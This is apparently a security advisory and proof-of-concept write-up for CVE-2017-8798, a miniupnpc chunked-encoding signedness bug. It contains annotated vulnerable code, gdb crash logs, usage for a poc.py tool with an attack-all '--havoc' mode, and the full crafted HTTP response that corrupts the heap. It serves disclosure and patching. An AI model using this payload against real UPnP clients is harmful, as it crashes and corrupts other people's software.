Author: <github.com/tintinweb>
Ref: https://github.com/tintinweb/pub/tree/master/pocs/cve-2017-8798
Version: 0.6
Date: May 1st, 2017
Tag: miniupnpc getHTTPResponse chunked encoding integer signedness error
Name: miniupnpc
Vendor: Thomas Bernard
References: * http://miniupnp.free.fr/ [1]
Version: v2.0 [2]
Latest Version: v2.0.20170421 [2][3]
Other Versions: >= v1.4.20101221 [2] (released 21/12/2010; ~6 years ago)
Platform(s): cross
Technology: c
Vuln Classes: CWE-196, CWE-190
Origin: remote
Min. Privs.: ---
CVE: CVE-2017-8798
quote website [1]
UPnP IGD client lightweight library and UPnP IGD daemon The UPnP protocol is supported by most home adsl/cable routers and Microsoft Windows 2K/XP. The aim of the MiniUPnP project is to bring a free software solution to support the "Internet Gateway Device" part of the protocol. The MediaServer/MediaRenderer UPnP protocol (DLNA) is also becoming very popular but here we are talking about IGD. ReadyMedia (formely known as MiniDLNA) is a UPnP Media Server using some UPnP code from MiniUPnPd.
miniupnp is part of many applications and embedded network devices
- P2P File Sharing software - e.g. qBittorrent
- Network Device Firmware
- Blockchain clients - e.g. EthereumCPP, bitcoind and forked coins
TL;DR - one-click crash miniupnpc based applications on your network
cause a denial of service condition via specially crafted HTTP response
An integer signedness error was found in miniupnp's miniwget allowing
an unauthenticated remote entity typically located on the
local network segment to trigger a heap corruption or an access violation
in miniupnp's http response parser when processing a specially crafted
chunked-encoded response to a request for the xml root description url.
To exploit this vulnerability, an attacker only has to provide a chunked-encode HTTP response with a negative chunk length to upnp clients requesting a resource on the attackers webserver. Upnp clients can easily be instructed to request resources on the attackers webserver by answering SSDP discovery request or by issueing SSDP service notifications (low complexity, integral part of the protocol).
- remote, unauthenticated,
ACCESS_VIOLATION_READand heap corruption - (confirmed) DoS; (unconfirmed) could also lead to RCE under certain circumstances (multi-threaded?)
see attached PoC see proposed patch
The vulnerable component is a HTTP file download method called
miniwget (precisely getHTTPResponse) that fails to properly handle
invalid chunked-encoded HTTP responses. The root cause is a bounds check
that mistakenly casts an unsigned attacker-provided chunksize to signed
int leading to an incorrect decision on the destination heap buffer size
when copying data from the server response to an internal buffer. The
attacker controls both the size of the internal buffer as well as the
number of bytes to copy. In order for this attack to succeed, the number
of bytes to copy must be negative.
attacker controls:
int content_lengthunsigned int chunksizebytestocopyif(int) chunksizeis negative (or at least <n-i~ 1900 bytes)- length of
content_bufifbytestocopyis negative
In the end, the attacker controls
-
realloc(content_buf, content_length) -
memcpy(content_buf+x, http_response, chunksize)client (miniupnpc) server (poc.py) | | | | | SSDP: Discovery - M-SEARCH | 1. | --------------------------------------> | | | | SSDP: Reply - Location Header | 2. | <-------------------------------------- | | | | SCPD: GET (Location Header/xxxx.xml) | 3. | --------------------------------------> | | | | SCPD: HTTP chunked-encoded reply | 4. | <-------------------------------------- | | |
- application performs SSDP discovery via M-SEARCH (multicast, local network segment)
- poc.py responds with the url to the xml root description requesting the application to navigate to the malicious webserver.
- application requests xml root description url (taken from reply to M-SEARCH, Location Header) on malicious webserver (poc.py)
- poc.py responds with a specially crafted http response triggering the heap overwrite in miniupnp
miniwget.c:236 [4]
Note: Inline annotations are prefixed with //#!
- A) 1. to 3. is the parsing of the chunksize
- B) 4. to 5. integer signedness error
- C) 6. integer wrapping
- D) 7. to 9. destination buffer size
- E) 10. heap overwrite with size in bytestocopy
/* content */
if(chunked) //#! 1) transfer-encoding: chunked
{
int i = 0;
while(i < n)
{
if(chunksize == 0)
{
/* reading chunk size */
if(chunksize_buf_index == 0) {
/* skipping any leading CR LF */
if(i<n && buf[i] == '\r') i++;
if(i<n && buf[i] == '\n') i++;
}
while(i<n && isxdigit(buf[i]) //#! 2) copy hexchars to chunksize_buf
&& chunksize_buf_index < (sizeof(chunksize_buf)-1))
{
chunksize_buf[chunksize_buf_index++] = buf[i];
chunksize_buf[chunksize_buf_index] = '\0';
i++;
}
while(i<n && buf[i] != '\r' && buf[i] != '\n')
i++; /* discarding chunk-extension */
if(i<n && buf[i] == '\r') i++;
if(i<n && buf[i] == '\n') {
unsigned int j;
for(j = 0; j < chunksize_buf_index; j++) { //#! 3) hexint chunksize = atoi(chunksize_buf)
if(chunksize_buf[j] >= '0'
&& chunksize_buf[j] <= '9')
chunksize = (chunksize << 4) + (chunksize_buf[j] - '0');
else
chunksize = (chunksize << 4) + ((chunksize_buf[j] | 32) - 'a' + 10);
}
chunksize_buf[0] = '\0';
chunksize_buf_index = 0;
i++;
} else {
/* not finished to get chunksize */
continue;
}
#ifdef DEBUG
printf("chunksize = %u (%x)\n", chunksize, chunksize);
#endif
if(chunksize == 0)
{
#ifdef DEBUG
printf("end of HTTP content - %d %d\n", i, n);
/*printf("'%.*s'\n", n-i, buf+i);*/
#endif
goto end_of_stream;
}
}
//#! 4)
//#! goal: a) bytestocopy becomes negative due to chunksize being negative
//#! b) content_length defines destination buffer size
//#! c) overwrite destination heap buffer content_buf[content_length] with bytestocopy bytes from request
//#! memcopy(content_buf[content_length], req_body, (unsigned)bytestocopy)
//#!
bytestocopy = ((int)chunksize < (n - i))?chunksize:(unsigned int)(n - i); //#! 5) boom! - bytestocopy becomes chunksize since chunksize is negative (e.g. -1)
if((content_buf_used + bytestocopy) > content_buf_len) //#! 6) true, since bytestocopy is negative, wraps unsigned content_buf_used
{
char * tmp;
if(content_length >= (int)(content_buf_used + bytestocopy)) { //#! 7) content_length is attacker controlled.
content_buf_len = content_length; //#! 8) we want content_length to define our dst buffer size (e.g. 9000)
} else { //#! if we dont hit this, content_buf_len would likely be ~2k
content_buf_len = content_buf_used + bytestocopy;
}
tmp = realloc(content_buf, content_buf_len); //#! 9) realloc to content_length bytes (e.g. 9000)
if(tmp == NULL) {
/* memory allocation error */
free(content_buf);
free(header_buf);
*size = -1;
return NULL;
}
content_buf = tmp;
}
memcpy(content_buf + content_buf_used, buf + i, bytestocopy); //#! 10) boom heap overwrite with bytesttocopy bytes (e.g. (unsigned)-1) to content_length (e.g. 9000) sized buffer
content_buf_used += bytestocopy; //#! (also an out of bounds ready since it has not been checked if buf holds enough bytes)
i += bytestocopy;
chunksize -= bytestocopy;
}
}basically all `miniwget*` and `UPNP_*` methods.
* getHTTPResponse (vulnerable)
* miniwget3
* miniwget2
* miniwget
* miniwget_getaddr
* UPNP_GetIGDFromUrl
* UPNP_GetValidIGD
* UPnP_selectigd
* UPNP_Get*
* UPNP_Check*
* UPNP_Delete*
* UPNP_Update*
* UPNP_Add*
The PoC can be configured for three scenarios:
Similar to 3) attempts to smash the heap but likely fails with an
ACCESS_VIOLATION_READ when trying to read from an non-accessible
memory region.
(gdb) up
#1 0x000000000040862c in getHTTPResponse (s=s@entry=3, size=size@entry=0x7fffffffd77c,
status_code=status_code@entry=0x0) at miniwget.c:305
305 memcpy(content_buf + content_buf_used, buf + i, bytestocopy);
(gdb) i lo
i = 30
buf = "f\r\n<xml>BOOM</xml>\r\n80000000\r\n", 'A' <repeats 2018 times>
n = 1954
endofheaders = 94
chunked = 1
content_length = 9041
chunksize = 2147483648
bytestocopy = 2147483648 //#! <--- nr of bytes to copy from buf
header_buf = 0x60f010 "HTTP/1.1 200 OK\r\nTransfer-Encoding: chunked\r\nContent-Length: 9041\r\nContent-Type: text/html\r\n\r\nf\r\n<xml>BOOM</xml>\r\n80000000\r\n", 'A' <repeats 76 times>...
header_buf_len = 2048
header_buf_used = <optimized out>
content_buf = 0x60f820 "<xml>BOOM</xml>", 'A' <repeats 16 times>
content_buf_len = 9041 //#! <--- dst buffer size
content_buf_used = 15
chunksize_buf = "\000\060\060\060\060\060\060\060\000\313\377\377\377\177\000\000\200\277@\000\000\000\000\000\233\277@\000\000\000\000"
chunksize_buf_index = 0
reason_phrase = 0x0
reason_phrase_len = 0
Miniupnp v1.8 was missing an error check for realloc which can
be used to cause a DoS condition when making realloc fail while
allocating a large chunk of data. When realloc fails - because
the requested size of memory cannot be allocated - it returns a
nullptr. Miniupnp ~1.8 was missing a check for the nullptr
and tried to memcpy bytes from the attackers http response to
that nullptr which fails with an ACCESS_VIOLATION.
To achieve this scenario one must provide an arbitrarily large
content_length (e.g. 0x7fffffff likely fails on 32 bits) and
make memcpy attempt to copy a byte to that location.
The idea is to create a small heap buffer and overwrite it with
a large chunk of data. This can be achieved by making instructing
miniupnp to realloc content_buf to a size of 1 byte by
providing a content-length of 1. To overwrite this 1 byte
buffer the attacker provides a negative chunksize e.g.
0x80000000. Depending on the implementation of memcpy and
the memory layout memcpy will either fail with a
ACCESS_VIOLATION_READ as we're only providing <= 2048 bytes
with the server response and will most certainly hit a non-accessible
memory region while copying 0x80000000 bytes or the application
crashes because of a heap corruption.
Discussion: It could maybe possible for an upnp thread to corrupt the heap, overwriting structures used by another thread to cause code execution even before the application crashes when accessing a non-accesible memory region.
Here's an example of miniupnpc corrupting the heap when compiled
for 32 bit platforms.
⺠0x80504de <getHTTPResponse+1912> call memcpy@plt <0x8048a20>
dest: 0x805981f ââ 0x0 //#! <--- size 1 - attacker controlled content_buf
src: 0xffffb77e ââ 0x41414141 ('AAAA') //#! <--- attacker controlled http response
n: 0x80000000 //#! <--- attacker controlled (must be negative) bytestocopy
pwndbg> i lo
i = 30
buf = "f\r\n<xml>BOOM</x"...
n = <optimized out>
endofheaders = 91
chunked = 1
content_length = 1
chunksize = 2147483648
bytestocopy = 2147483648 //#! <--- nr of bytes to copy from buf
header_buf = 0x8059008 "HTTP/1.1 200 OK"...
header_buf_len = 2048
header_buf_used = <optimized out>
content_buf = 0x8059810 "<xml>BOOM</x\351\a\002"
content_buf_len = 1 //#! <--- destination, realloc'd to 1
content_buf_used = 15
chunksize_buf = "\000\060\060\060\060\060\060\060\000\267\377\377p12"...
chunksize_buf_index = <optimized out>
reason_phrase = 0x0
reason_phrase_len = 0
//#! ### before memcpy
pwndbg> hexdump content_buf 100
+0000 0x8059810 3c 78 6d 6c 3e 42 4f 4f 4d 3c 2f 78 e9 07 02 00 â<xmlâ>BOOâM</xâ....â
+0010 0x8059820 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 â....â....â....â....â
...
+0060 0x8059870 00 00 00 00 â....â â â â
+0064 0x8059874
//#! ### after memcpy
pwndbg> hexdump content_buf 100
+0000 0x8059810 3c 78 6d 6c 3e 42 4f 4f 4d 3c 2f 78 e9 07 02 41 â<xmlâ>BOOâM</xâ...Aâ
+0010 0x8059820 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 âAAAAâAAAAâAAAAâAAAAâ
...
+0060 0x8059870 41 41 41 41 âAAAAâ â â â
+0064 0x8059874
- DoS - providing an overly large
content_lengthmay causereallocto fail and return anullptr. subsequently crashing due tomemcpytrying to copy tonullptr. Has beenfixed > v1.8. - DoS / potential RCE - providing a correct
content_lengthwont causereallocto fail andmemcpywill go on copying a large block of data tocontent_buf. Potential for RCE in multithreaded environments with threads sharing the heap e.g. main thread doing things while upnp thread overwrites large portions of the heap. may result in random crashes but might allow to corrupt neighboring heap chunks in a way to gain code exec. - DoS - providing
0x7fffffffto content_length may fail due toreallocnot being able to allocate >2 GB heap space on certain platforms. If that would succeed, an attacker could try to write1+xbytes past the reallocation when providing a chunksize of0x80000000+x. However, the attacker is not able to provide http response chunks >2048 bytes due to miniupnp reading responses in chunks of max 2048 therefore rendering a RCE scenario impossible turning it into a DoS condition with due toACCESS_VIOLATION_READ.
Prerequisites:
- any software that compiles with
miniupnpcor callsminiwget.c::miniwget()- e.g. bitcoind (with -upnp) poc.py, python 2.7, tested on windows and linux (disable firewall or allow inbound tcp:65000, udp:1900)
Usage:
usage: poc.py [options]
example: poc.py --listen <your_local_ip>:65000 [--havoc | --target <ip> [<ip>..]]
optional arguments:
-h, --help show this help message and exit
-q, --quiet be quiet [default: False]
-l LISTEN, --listen LISTEN
local httpserver listen ip:port. Note: 0.0.0.0:<port>
is not allowed. This ip is being used in the SSDP
response Location header.
-u USN, --usn USN Unique Service Name.
-t [TARGET [TARGET ...]], --target [TARGET [TARGET ...]]
Specify a list of client-ips to attack. Use --havoc to
attempt to crash all clients.
-z, --havoc Attempt to attack all clients connecting to our http
server. Use at your own risk.run PoC
- local listen ip:port for the malicious web server: 192.168.2.104:65000 (your ip)
- only attempt to crash client 192.168.2.113 (use --havoc instead of --target to disable whitelist)
#> poc.py --listen <your_local_ip>:65000 --target 192.168.2.113
[poc.py - main() ][ INFO]
_ _ _____ _____ _____ _____
/ |/ | | | | _ | | | _ | ___ ___ _____ ___ ___ ___
/ // / | | | __| | | | __| _ _ _ | | . | | | . | _| -_|
|_/|_/ |_____|__| |_|___|__| |_|_|_| |_|_|___| |_|_|_|___|_| |___
//github.com/tintinweb
[mode ] ◎ filter (targeting ['192.168.2.113'])
[listen] 🔗 192.168.2.104:65000 (local http server listening ip)
[usn ] ⛹ uuid:deadface-dead-dead-dead-cafebabed00d::upnp:rootdevice
[poc.py - main() ][ DEBUG] spawning webserver: <BadHttpServer bind=('192.168.2.104', 65000)>
[poc.py - __init__() ][ DEBUG] [SSDP] bind: 0.0.0.0:1900
[poc.py - listen() ][ INFO] [HTTP] bind 192.168.2.104:65000
[poc.py - __init__() ][ DEBUG] [SSDP] add membership: UDP/239.255.255.250
[poc.py - register_callback() ][ DEBUG] [SSDP] add callback for 'M-SEARCH' : <function handle_msearch at 0x027B9270>
[poc.py - listen() ][ INFO] [HTTP] waiting for connection
[poc.py - register_callback() ][ DEBUG] [SSDP] add callback for 'NOTIFY' : <function handle_notify at 0x027B9330>
[poc.py - listen() ][ DEBUG] [SSDP] listening...
[poc.py - listen() ][ INFO] [ ] connection from: ('192.168.2.113', 43810)
[poc.py - listen() ][ DEBUG] GET /xxxx.xml HTTP/1.1
Host: 192.168.2.104:65000
Connection: Close
User-Agent: CentOS/7.2.1511, UPnP/1.1, MiniUPnPc/2.0
[poc.py - send() ][ DEBUG] HTTP/1.1 200 OK
Transfer-Encoding: chunked
Content-Length: 9041
Content-Type: text/html
f
<xml>BOOM</xml>
80000000
AAAAAAAAAAAAAAAA... //#! Repeated 9k times.
3
bye
0
[poc.py - send() ][ WARNING] [----->] BOOM! payload delivered! - [to:('192.168.2.113', 43810)] <HttpLikeMessage msg=('HTTP/1.1', '200', 'OK') header={'Transfer-Encoding': 'chunked', 'Content-Length': 9041, 'Content-Type': 'text/html'} body='f\r\n<xml>BOOM</xml>\r\n80000000\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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[poc.py - listen() ][ INFO] waiting for connection[tin@localhost miniupnpc]$ gdb --args ./upnpc-static -u http://192.168.2.104:65000/xxxx.xml -d -s
...
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/tin/miniupnp/miniupnpc/./upnpc-static -u http://192.168.2.104:65000/xxxx.xml -d -s
upnpc : miniupnpc library test client, version 2.0.
(c) 2005-2016 Thomas Bernard.
Go to http://miniupnp.free.fr/ or http://miniupnp.tuxfamily.org/
for more information.
parsed url : hostname='192.168.2.104' port=65000 path='/xxxx.xml' scope_id=0
address miniwget : 192.168.2.113
header='Transfer-Encoding', value='chunked'
chunked transfer-encoding!
header='Content-Length', value='9041' //#! user provided content length (valid)
Content-Length: 9041
header='Content-Type', value='text/html'
chunksize = 15 (f)
chunksize = 2147483648 (80000000) //#! user provided chunk size 0x80000000
Program received signal SIGSEGV, Segmentation fault.
0x00007ffff7b631a6 in __memcpy_ssse3_back () from /lib64/libc.so.6
(gdb) up
#1 0x000000000040897f in getHTTPResponse (s=s@entry=7, size=size@entry=0x7fffffffd59c, status_code=status_code@entry=0x0) at miniwget.c:306
306 memcpy(content_buf + content_buf_used, buf + i, bytestocopy);
(gdb) bt
#0 0x00007ffff7b631a6 in __memcpy_ssse3_back () from /lib64/libc.so.6
#1 0x000000000040897f in getHTTPResponse (s=s@entry=7, size=size@entry=0x7fffffffd59c, status_code=status_code@entry=0x0) at miniwget.c:306
#2 0x0000000000408d5c in miniwget3 (host=host@entry=0x7fffffffd500 "192.168.2.104", port=<optimized out>, path=0x7fffffffe73c "/xxxx.xml", size=size@entry=0x7fffffffd59c,
addr_str=addr_str@entry=0x7fffffffe320 "192.168.2.113", addr_str_len=addr_str_len@entry=64, httpversion=httpversion@entry=0x40b665 "1.1", scope_id=0, status_code=status_code@entry=0x0)
at miniwget.c:468
#3 0x00000000004091f1 in miniwget2 (status_code=0x0, scope_id=<optimized out>, addr_str_len=64, addr_str=0x7fffffffe320 "192.168.2.113", size=0x7fffffffd59c, path=<optimized out>, port=<optimized out>,
host=0x7fffffffd500 "192.168.2.104") at miniwget.c:484
#4 miniwget_getaddr (url=url@entry=0x7fffffffe722 "http://192.168.2.104:65000/xxxx.xml", size=size@entry=0x7fffffffd59c, addr=addr@entry=0x7fffffffe320 "192.168.2.113", addrlen=addrlen@entry=64,
scope_id=scope_id@entry=0, status_code=status_code@entry=0x0) at miniwget.c:659
#5 0x00000000004043f1 in UPNP_GetIGDFromUrl (rootdescurl=rootdescurl@entry=0x7fffffffe722 "http://192.168.2.104:65000/xxxx.xml", urls=urls@entry=0x7fffffffd6a0, data=data@entry=0x7fffffffd790,
lanaddr=lanaddr@entry=0x7fffffffe320 "192.168.2.113", lanaddrlen=lanaddrlen@entry=64) at miniupnpc.c:708
#6 0x0000000000401f69 in main (argc=<optimized out>, argv=0x7fffffffe478) at upnpc.c:690
(gdb) i lo
i = 30
buf = "f\r\n<xml>BOOM</xml>\r\n80000000\r\n", 'A' <repeats 1418 times>...
n = 1354
endofheaders = 94
chunked = 1 //#! chunked-encoding mode
content_length = 9041 //#! user provided content-length (valid)
chunksize = 2147483648 //#! user provided chunk-size (invalid, 0x80000000)
bytestocopy = 2147483648 //#! is our chunk-size. used in call to memcpy as the number of bytes to copy.
header_buf = 0x610010 "HTTP/1.1 200 OK\r\nTransfer-Encoding: chunked\r\nContent-Length: 9041\r\nContent-Type: text/html\r\n\r\nf\r\n<xml>BOOM</xml>\r\n80000000\r\n", 'A' <repeats 76 times>...
header_buf_len = 2048
header_buf_used = 1448
content_buf = 0x610820 "<xml>BOOM</xml>"
content_buf_len = 9041 //#! has been reallocated to content-length (otherwise this would be ~2k)
content_buf_used = 15
chunksize_buf = "\000\060\060\060\060\060\060\060\000\311\377\377\377\177\000\000\313\305@\000\000\000\000\000\005\000\000\000\000\000\000"
chunksize_buf_index = 0
reason_phrase = 0x0
reason_phrase_len = 0[tin@localhost ~]$ eth --version
eth version 1.3.0
eth network protocol version: 63
Client database version: 12041
Build: Linux/g++/Interpreter/RelWithDebInfo
[tin@localhost miniupnpc]$ gdb --args eth -v 9
...
(gdb) r
Starting program: /usr/bin/eth -v 9
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".
cpp-ethereum, a C++ Ethereum client
... 05:57:56 PM.351|eth Reading /home/...
⧠â
¹ 05:57:56 PM.358|eth Id: ##013a7f1fâ¦
[New Thread 0x7fffe6191700 (LWP 9306)]
... 05:57:56 PM.371|eth Opened blockchain DB. Latest: #5203fef2⦠(rebuild not needed)
[New Thread 0x7fffe5990700 (LWP 9307)]
... 05:57:56 PM.374|eth Opened state DB.
[New Thread 0x7fffe4e2a700 (LWP 9308)]
⧫ â 05:57:56 PM.375|eth startedWorking()
cpp-ethereum 1.3.0
By cpp-ethereum contributors, (c) 2013-2016.
See the README for contributors and credits.
Transaction Signer: XE50000000000000000000000000000000 (00000000-0000-0000-0000-000000000000 - 00000000)
Mining Beneficiary: XE50000000000000000000000000000000 (00000000-0000-0000-0000-000000000000 - 00000000)
Foundation: XE55PXQKKKXXXXXXXXT1XCYW6R5ELFAT6EM (00000000-0000-0000-0000-000000000000 - de0b2956)
[New Thread 0x7fffd7fff700 (LWP 9309)]
[New Thread 0x7fffd77fe700 (LWP 9310)]
â
¹ 05:58:00 PM.757|p2p UPnP device: http://192.168.2.104:65000/xxxx.xml [st: urn:schemas-upnp-org:device:InternetGatewayDevice:1 ]
Program received signal SIGSEGV, Segmentation fault.
